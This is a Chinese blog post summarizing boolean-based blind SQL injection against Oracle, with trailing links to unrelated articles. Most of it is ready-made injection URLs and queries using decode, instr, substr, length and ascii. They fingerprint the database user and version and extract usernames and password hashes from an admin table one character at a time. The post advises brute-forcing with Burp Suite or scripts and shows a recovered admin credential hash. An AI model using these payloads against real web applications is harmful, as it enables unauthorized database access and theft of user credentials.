Oracle基于布尔的盲注总结

0x01 decode 函数布尔盲注

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3


当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
使用方法:
比较大小

select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1

例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

1SQL> select decode(sign(10-20),-1,10,20) from dual; 2 3DECODE(SIGN(10-20),-1,10,20) 4---------------------------- 5 10

所以这个decode函数在我们注入中的应用

测试当前用户

select decode(user,'SYSTEM',1,0) from dual;

如果是system用户则返回1,不是则返回0.

1SQL> select decode(user,'SYSTEM',1,0) from dual; 2 3DECODE(USER,'SYSTEM',1,0) 4------------------------- 5 1 6 7SQL> select decode(user,'SYS',1,0) from dual; 8 9DECODE(USER,'SYS',1,0) ---------------------- 0

注入点中decode盲注应用

判断是否是SCOTT用户

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(user,'SCOTT',1,0) from dual) --

当前也可以用字符逐个猜解,利用到substr()函数

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

这里只需要替换我们需要查的内容即可 不一一列举了,比如查询Oracle版本,判断版本的字符串第一个字符是否是O

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0) from dual) --

获取当前用户

(select user from dual)

获取当前版本

(select banner from sys.v_$version where rownum=1)
获取当前admin表的帐号和密码

(select username||password from admin)
获取字符长度

select length(user) from dual --
select * from art where id=1 and 6=(select length(user) from dual) --

http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) --

当前用户第一个字母的是否等于S 等于返回1否则返回0

1(select decode(substr(user,1,1),'S',1,0) from dual) -- 2(select decode(substr(user,2,1),'Y',1,0) from dual) -- 3(select decode(substr(user,3,1),'S',1,0) from dual) -- 4(select decode(substr(user,4,1),'T',1,0) from dual) -- 5(select decode(substr(user,5,1),'E',1,0) from dual) -- 6(select decode(substr(user,6,1),'N',1,0) from dual) --

测试当前用户语句

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

获取当前admin表的帐号和密码

1select * from art where id=1 and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual) 2http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),1,1),'a',1,0) from dual)

判断字符的字符

abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

查询第二个的时候

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0) from dual) --


 大概知道这些函数的用法 跑脚本爆破即可 burpsuite为例

 0x02 instr函数布尔盲注

instr函数的使用,从一个字符串中查找指定子串的位置。例如:

SQL> select instr('abcdefgh','de') position from dual;

POSITION
----------
4

 

从1开始算 d排第四所以返回4

盲注中的应用:

http://www.jsporcle.com/news.jsp?id=1 and 1=(instr((select user from dual),'SYS')) --

 BURP爆破用户名

0x03 通用盲注方法 逐字猜解

先获取数据长度
37=(select length(username||password) from admin)
转码测试

1http://www.jsporcle.com/news.jsp?id=1 and 37=(select length(username%7c%7cpassword) from admin)-- 2select * from art where id=1 and 37=(select length(username||password) from admin);

猜解ascii码

http://www.jsporcle.com/news.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97 --

同样 burp或脚本爆破即可

 

 猜解结果:  admine10adc3949ba59abbe56e057f20f883e

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )

Oracle基于布尔的盲注总结 - HelloWorld